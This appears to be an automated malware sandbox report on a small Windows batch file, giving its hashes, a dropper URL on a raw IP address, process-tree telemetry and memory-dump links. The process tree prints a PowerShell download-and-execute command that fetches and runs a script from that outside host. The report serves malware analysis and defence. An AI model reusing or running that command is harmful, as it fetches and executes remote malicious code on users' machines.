28960164b3c1ec21a1ac053ccb4523a2b1dcbc9ee9404895f47be2de3f1aa2b0 | Triage

Analysis

max time kernel
146s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
19-05-2020 04:10

Sharing

Report Analysis Logs

General

Target

a62c4733712a5a0ccf06aa73c58fd3fd.bat
Size

217B
MD5

05f4de7667d23b9c8dac10fa03d7f205
SHA1

8d0d899a76f6cd2d36311f8b8b7ef74bb495b1b0
SHA256

28960164b3c1ec21a1ac053ccb4523a2b1dcbc9ee9404895f47be2de3f1aa2b0
SHA512

ff8867c98520dff41a1330cffbcfe235c25c3d6f561b87ee42cf670b13c5b296252b9e9dfc11d0a6362c0beb1ab9dceb91dca45451ed80a7f1494e2d77fcaefd

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/a62c4733712a5a0ccf06aa73c58fd3fd

Signatures

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe
416	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

416 3872 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 416 WerFault.exe
Token: SeBackupPrivilege 416 WerFault.exe
Token: SeDebugPrivilege 416 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a62c4733712a5a0ccf06aa73c58fd3fd.bat"
1⤵
PID:3008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/a62c4733712a5a0ccf06aa73c58fd3fd');Invoke-GDTHLNSAQQ;Start-Sleep -s 10000"
2⤵
PID:3872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:416

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/416-0-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

Filesize
4KB

Download
memory/416-2-0x0000000005380000-0x0000000005381000-memory.dmp

Filesize
4KB

Download